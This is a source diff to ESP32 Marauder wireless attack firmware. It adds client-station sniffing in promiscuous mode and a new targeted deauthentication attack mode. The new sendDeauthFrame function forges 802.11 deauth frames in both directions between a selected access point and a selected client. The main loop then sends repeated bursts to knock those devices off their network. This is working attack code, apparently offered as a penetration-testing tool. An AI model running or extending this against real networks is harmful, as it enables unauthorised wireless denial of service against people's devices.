@@ -446,6 +465,7 @@ void WiFiScan::StopScan(uint8_t scan_mode)
   (currentScanMode == WIFI_ATTACK_AUTH) ||
   (currentScanMode == WIFI_ATTACK_AUTH) ||
   (currentScanMode == WIFI_ATTACK_DEAUTH) ||
   (currentScanMode == WIFI_ATTACK_DEAUTH) ||
   (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
   (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
   (currentScanMode == WIFI_ATTACK_MIMIC) ||
   (currentScanMode == WIFI_ATTACK_MIMIC) ||
   (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
   (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
   (currentScanMode == WIFI_PACKET_MONITOR) ||
   (currentScanMode == WIFI_PACKET_MONITOR) ||
@@ -595,6 +615,21 @@ void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
   }
   }
 #endif
 #endif
 
 
+void WiFiScan::RunClearStations() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[45]));
+    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+  #else
+    this->clearStations();
+  #endif
+}
+
 void WiFiScan::RunClearAPs() {
 void WiFiScan::RunClearAPs() {
   #ifdef HAS_SCREEN
   #ifdef HAS_SCREEN
     display_obj.tft.setTextWrap(false);
     display_obj.tft.setTextWrap(false);
@@ -605,8 +640,11 @@ void WiFiScan::RunClearAPs() {
   
   
     display_obj.tft.println(F(text_table4[9]));
     display_obj.tft.println(F(text_table4[9]));
     display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
     display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
+    display_obj.tft.println(F(text_table4[45]));
+    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
   #else
   #else
     this->clearAPs();
     this->clearAPs();
+    this->clearStations();
   #endif
   #endif
 }
 }
 
 
@@ -1094,6 +1132,45 @@ void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
   initTime = millis();
   initTime = millis();
 }
 }
 
 
+void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
+{
+  sd_obj.openCapture("station");
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table1[59],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
 void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
 void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
 {
 {
   sd_obj.openCapture("raw");
   sd_obj.openCapture("raw");
@@ -1595,6 +1672,7 @@ void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type
         ap.bssid[4] = snifferPacket->payload[14];
         ap.bssid[4] = snifferPacket->payload[14];
         ap.bssid[5] = snifferPacket->payload[15];
         ap.bssid[5] = snifferPacket->payload[15];
         ap.selected = false;
         ap.selected = false;
+        ap.stations = new LinkedList<int>();
         
         
         ap.beacon = new LinkedList<char>();
         ap.beacon = new LinkedList<char>();
 
 
@@ -1741,7 +1819,8 @@ void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
                            snifferPacket->payload[15]},
                            snifferPacket->payload[15]},
                           false,
                           false,
                           NULL,
                           NULL,
-                          snifferPacket->rx_ctrl.rssi};
+                          snifferPacket->rx_ctrl.rssi,
+                          new LinkedList<int>()};
 
 
         access_points->add(ap);
         access_points->add(ap);
 
 
@@ -1828,6 +1907,167 @@ void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type
   }
   }
 }
 }
 
 
+void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String mac = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  char ap_addr[] = "00:00:00:00:00:00";
+  char dst_addr[] = "00:00:00:00:00:00";
+
+  int ap_index = 0;
+
+  // Check if frame has ap in list of APs and determine position
+  uint8_t frame_offset = 0;
+  int offsets[2] = {10, 4};
+  bool matched_ap = false;
+  bool ap_is_src = false;
+
+  bool mac_match = true;
+
+  for (int y = 0; y < 2; y++) {
+    for (int i = 0; i < access_points->size(); i++) {
+      mac_match = true;
+      
+      for (int x = 0; x < 6; x++) {
+        //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+        if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
+          mac_match = false;
+          break;
+        }
+      }
+      if (mac_match) {
+        matched_ap = true;
+        if (offsets[y] == 10)
+          ap_is_src = true;
+        ap_index = i;
+        getMAC(ap_addr, snifferPacket->payload, offsets[y]);
+        break;
+      }
+    }
+    if (matched_ap)
+      break;
+  }
+
+  // If did not find ap from list in frame, drop frame
+  if (!matched_ap)
+    return;
+  else {
+    if (ap_is_src)
+      frame_offset = 4;
+    else
+      frame_offset = 10;
+  }
+  /*  Stuff to care about now
+   *  ap_is_src
+   *  ap_index
+   */
+  
+
+  // Check if we already have this station
+  bool in_list = false;
+  for (int i = 0; i < stations->size(); i++) {
+    mac_match = true;
+    
+    for (int x = 0; x < 6; x++) {
+      //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+      if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
+        mac_match = false;
+        //Serial.println("MACs do not match");
+        break;
+      }
+    }
+    if (mac_match) {
+      in_list = true;
+      break;
+    }
+  }
+
+  getMAC(dst_addr, snifferPacket->payload, 4);
+
+  // Check if dest is broadcast
+  if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
+    return;
+  
+  // Add to list of stations
+  Station sta = {
+                {snifferPacket->payload[frame_offset],
+                 snifferPacket->payload[frame_offset + 1],
+                 snifferPacket->payload[frame_offset + 2],
+                 snifferPacket->payload[frame_offset + 3],
+                 snifferPacket->payload[frame_offset + 4],
+                 snifferPacket->payload[frame_offset + 5]},
+                false};
+
+  stations->add(sta);
+
+  // Print findings to serial
+  Serial.print((String)stations->size() + ": ");
+  
+  char sta_addr[] = "00:00:00:00:00:00";
+  
+  if (ap_is_src) {
+    Serial.print("ap: ");
+    Serial.print(ap_addr);
+    Serial.print(" -> sta: ");
+    getMAC(sta_addr, snifferPacket->payload, 4);
+    Serial.println(sta_addr);
+  }
+  else {
+    Serial.print("sta: ");
+    getMAC(sta_addr, snifferPacket->payload, 10);
+    Serial.print(sta_addr);
+    Serial.print(" -> ap: ");
+    Serial.println(ap_addr);
+  }
+  display_string.concat(sta_addr);
+  display_string.concat(" -> ");
+  display_string.concat(access_points->get(ap_index).essid);
+
+  int temp_len = display_string.length();
+
+  #ifdef HAS_SCREEN
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+
+    Serial.print(" ");
+
+    if (display_obj.display_buffer->size() == 0)
+    {
+      display_obj.loading = true;
+      display_obj.display_buffer->add(display_string);
+      display_obj.loading = false;
+    }
+  #endif
+
+  // Add station index to AP in list
+  //access_points->get(ap_index).stations->add(stations->size() - 1);
+
+  AccessPoint ap = access_points->get(ap_index);
+  ap.stations->add(stations->size() - 1);
+
+  access_points->set(ap_index, ap);
+
+  if (save_packet)
+    sd_obj.addPacket(snifferPacket->payload, len);
+}
+
 void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
 void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
 {
 {
   bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
   bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
@@ -2117,24 +2357,6 @@ void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t
   }
   }
 }
 }
 
 
-/*
-void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = custom_ssid.bssid[0];
-  packet[11] = packet[17] = custom_ssid.bssid[1];
-  packet[12] = packet[18] = custom_ssid.bssid[2];
-  packet[13] = packet[19] = custom_ssid.bssid[3];
-  packet[14] = packet[20] = custom_ssid.bssid[4];
-  packet[15] = packet[21] = custom_ssid.bssid[5];
-
-  char ESSID[custom_ssid.essid.length() + 1] = {};
-  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
-}*/
-
 void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
 void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
   set_channel = random(1,12); 
   set_channel = random(1,12); 
   esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
   esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
@@ -2401,6 +2623,70 @@ void WiFiScan::sendProbeAttack(uint32_t currentTime) {
   }
   }
 }
 }
 
 
+void WiFiScan::sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]) {
+  WiFiScan::set_channel = channel;
+  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+  
+  // Build AP source packet
+  deauth_frame_default[4] = mac[0];
+  deauth_frame_default[5] = mac[1];
+  deauth_frame_default[6] = mac[2];
+  deauth_frame_default[7] = mac[3];
+  deauth_frame_default[8] = mac[4];
+  deauth_frame_default[9] = mac[5];
+  
+  deauth_frame_default[10] = bssid[0];
+  deauth_frame_default[11] = bssid[1];
+  deauth_frame_default[12] = bssid[2];
+  deauth_frame_default[13] = bssid[3];
+  deauth_frame_default[14] = bssid[4];
+  deauth_frame_default[15] = bssid[5];
+
+  deauth_frame_default[16] = bssid[0];
+  deauth_frame_default[17] = bssid[1];
+  deauth_frame_default[18] = bssid[2];
+  deauth_frame_default[19] = bssid[3];
+  deauth_frame_default[20] = bssid[4];
+  deauth_frame_default[21] = bssid[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+
+  // Build AP dest packet
+  deauth_frame_default[4] = bssid[0];
+  deauth_frame_default[5] = bssid[1];
+  deauth_frame_default[6] = bssid[2];
+  deauth_frame_default[7] = bssid[3];
+  deauth_frame_default[8] = bssid[4];
+  deauth_frame_default[9] = bssid[5];
+  
+  deauth_frame_default[10] = mac[0];
+  deauth_frame_default[11] = mac[1];
+  deauth_frame_default[12] = mac[2];
+  deauth_frame_default[13] = mac[3];
+  deauth_frame_default[14] = mac[4];
+  deauth_frame_default[15] = mac[5];
+
+  deauth_frame_default[16] = mac[0];
+  deauth_frame_default[17] = mac[1];
+  deauth_frame_default[18] = mac[2];
+  deauth_frame_default[19] = mac[3];
+  deauth_frame_default[20] = mac[4];
+  deauth_frame_default[21] = mac[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+}
+
 void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
 void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
   // Itterate through all access points in list
   // Itterate through all access points in list
   // Check if active
   // Check if active
@@ -3176,6 +3462,7 @@ void WiFiScan::main(uint32_t currentTime)
   // WiFi operations
   // WiFi operations
   if ((currentScanMode == WIFI_SCAN_PROBE) ||
   if ((currentScanMode == WIFI_SCAN_PROBE) ||
   (currentScanMode == WIFI_SCAN_AP) ||
   (currentScanMode == WIFI_SCAN_AP) ||
+  (currentScanMode == WIFI_SCAN_STATION) ||
   (currentScanMode == WIFI_SCAN_TARGET_AP) ||
   (currentScanMode == WIFI_SCAN_TARGET_AP) ||
   (currentScanMode == WIFI_SCAN_PWN) ||
   (currentScanMode == WIFI_SCAN_PWN) ||
   (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
   (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
@@ -3270,6 +3557,43 @@ void WiFiScan::main(uint32_t currentTime)
       packets_sent = 0;
       packets_sent = 0;
     }
     }
   }
   }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
+    // Loop through each AP
+    for (int x = 0; x < access_points->size(); x++) {
+      // Only get selected APs
+      if (access_points->get(x).selected) {
+        AccessPoint cur_ap = access_points->get(x);
+        // Loop through each AP's Station
+        for (int i = 0; i < cur_ap.stations->size(); i++) {
+          // Only get selected Stations
+          if (stations->get(cur_ap.stations->get(i)).selected) {
+            Station cur_sta = stations->get(cur_ap.stations->get(i));
+
+            // Send deauths for each selected AP's selected Station
+            for (int y = 0; y < 25; y++)
+              this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
+
+            // Display packets sent on screen
+            if (currentTime - initTime >= 1000) {
+              initTime = millis();
+              String displayString = "";
+              String displayString2 = "";
+              displayString.concat(text18);
+              displayString.concat(packets_sent);
+              for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+                displayString2.concat(" ");
+              #ifdef HAS_SCREEN
+                display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+                display_obj.showCenterText(displayString2, 160);
+                display_obj.showCenterText(displayString, 160);
+              #endif
+              packets_sent = 0;
+            }
+          }
+        }
+      }
+    }
+  }
   else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
   else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
     // Need this for loop because getTouch causes ~10ms delay
     // Need this for loop because getTouch causes ~10ms delay
     // which makes beacon spam less effective
     // which makes beacon spam less effective

+ 13 - 0
esp32_marauder/WiFiScan.h

@@ -65,6 +65,8 @@
 #define WIFI_SCAN_ACTIVE_EAPOL 23
 #define WIFI_SCAN_ACTIVE_EAPOL 23
 #define WIFI_ATTACK_DEAUTH_MANUAL 24
 #define WIFI_ATTACK_DEAUTH_MANUAL 24
 #define WIFI_SCAN_RAW_CAPTURE 25
 #define WIFI_SCAN_RAW_CAPTURE 25
+#define WIFI_SCAN_STATION 26
+#define WIFI_ATTACK_DEAUTH_TARGETED 27
 
 
 #define GRAPH_REFRESH 100
 #define GRAPH_REFRESH 100
 
 
@@ -97,6 +99,12 @@ struct AccessPoint {
   bool selected;
   bool selected;
   LinkedList<char>* beacon;
   LinkedList<char>* beacon;
   int rssi;
   int rssi;
+  LinkedList<int>* stations;
+};
+
+struct Station {
+  uint8_t mac[6];
+  bool selected;
 };
 };
 
 
 class WiFiScan
 class WiFiScan
@@ -239,6 +247,7 @@ class WiFiScan
     void sendProbeAttack(uint32_t currentTime);
     void sendProbeAttack(uint32_t currentTime);
     void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
     void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
     void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
     void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
+    void sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]);
     void broadcastRandomSSID(uint32_t currentTime);
     void broadcastRandomSSID(uint32_t currentTime);
     void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
     void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
     void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
     void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
@@ -254,6 +263,7 @@ class WiFiScan
     void RunPwnScan(uint8_t scan_mode, uint16_t color);
     void RunPwnScan(uint8_t scan_mode, uint16_t color);
     void RunBeaconScan(uint8_t scan_mode, uint16_t color);
     void RunBeaconScan(uint8_t scan_mode, uint16_t color);
     void RunRawScan(uint8_t scan_mode, uint16_t color);
     void RunRawScan(uint8_t scan_mode, uint16_t color);
+    void RunStationScan(uint8_t scan_mode, uint16_t color);
     void RunDeauthScan(uint8_t scan_mode, uint16_t color);
     void RunDeauthScan(uint8_t scan_mode, uint16_t color);
     void RunEapolScan(uint8_t scan_mode, uint16_t color);
     void RunEapolScan(uint8_t scan_mode, uint16_t color);
     void RunProbeScan(uint8_t scan_mode, uint16_t color);
     void RunProbeScan(uint8_t scan_mode, uint16_t color);
@@ -296,6 +306,7 @@ class WiFiScan
     void RunSetup();
     void RunSetup();
     int clearSSIDs();
     int clearSSIDs();
     int clearAPs();
     int clearAPs();
+    int clearStations();
     bool addSSID(String essid);
     bool addSSID(String essid);
     int generateSSIDs(int count = 20);
     int generateSSIDs(int count = 20);
     bool shutdownWiFi();
     bool shutdownWiFi();
@@ -313,6 +324,7 @@ class WiFiScan
     void RunGenerateSSIDs(int count = 20);
     void RunGenerateSSIDs(int count = 20);
     void RunClearSSIDs();
     void RunClearSSIDs();
     void RunClearAPs();
     void RunClearAPs();
+    void RunClearStations();
     void channelHop();
     void channelHop();
     uint8_t currentScanMode = 0;
     uint8_t currentScanMode = 0;
     void main(uint32_t currentTime);
     void main(uint32_t currentTime);
@@ -324,6 +336,7 @@ class WiFiScan
     static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type);
     static void apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type);
     static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);

+ 1 - 1
esp32_marauder/configs.h

@@ -12,7 +12,7 @@
   #define MARAUDER_FLIPPER
   #define MARAUDER_FLIPPER
   //#define ESP32_LDDB
   //#define ESP32_LDDB
 
 
-  #define MARAUDER_VERSION "v0.9.20"
+  #define MARAUDER_VERSION "v0.10.0"
 
 
   //// BUTTON DEFINITIONS
   //// BUTTON DEFINITIONS
   #ifdef MARAUDER_MINI
   #ifdef MARAUDER_MINI

+ 9 - 2
esp32_marauder/lang_var.h

@@ -97,6 +97,10 @@ PROGMEM const char text1_55[] = "Join WiFi";
 PROGMEM const char text1_56[] = "Select APs";
 PROGMEM const char text1_56[] = "Select APs";
 PROGMEM const char text1_57[] = "AP Clone Spam";
 PROGMEM const char text1_57[] = "AP Clone Spam";
 PROGMEM const char text1_58[] = "Raw Capture";
 PROGMEM const char text1_58[] = "Raw Capture";
+PROGMEM const char text1_59[] = "Station Sniff";
+PROGMEM const char text1_60[] = "Clear Stations";
+PROGMEM const char text1_61[] = "Select Stations";
+PROGMEM const char text1_62[] = "Deauth Targeted";
 
 
 
 
 //SDInterface.cpp texts
 //SDInterface.cpp texts
@@ -170,12 +174,15 @@ PROGMEM const char text4_41[] = " Bluetooth Sniff ";
 PROGMEM const char text4_42[] = " Detect Card Skimmers ";
 PROGMEM const char text4_42[] = " Detect Card Skimmers ";
 PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...";
 PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...";
 PROGMEM const char text4_44[] = " AP Scan ";
 PROGMEM const char text4_44[] = " AP Scan ";
+PROGMEM const char text4_45[] = "Clearing Stations...";
+PROGMEM const char text4_46[] = "Stations Cleared: ";
+PROGMEM const char text4_47[] = "Targeted Deauth";
 
 
 //Making tables
 //Making tables
 PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8};
 PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8};
-PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58};
+PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62};
 PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14};
 PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14};
 PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5};
 PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5};
-PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44};
+PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47};
 
 
 #endif
 #endif

Nem az összes módosított fájl került megjelenítésre, mert túl sok fájl változott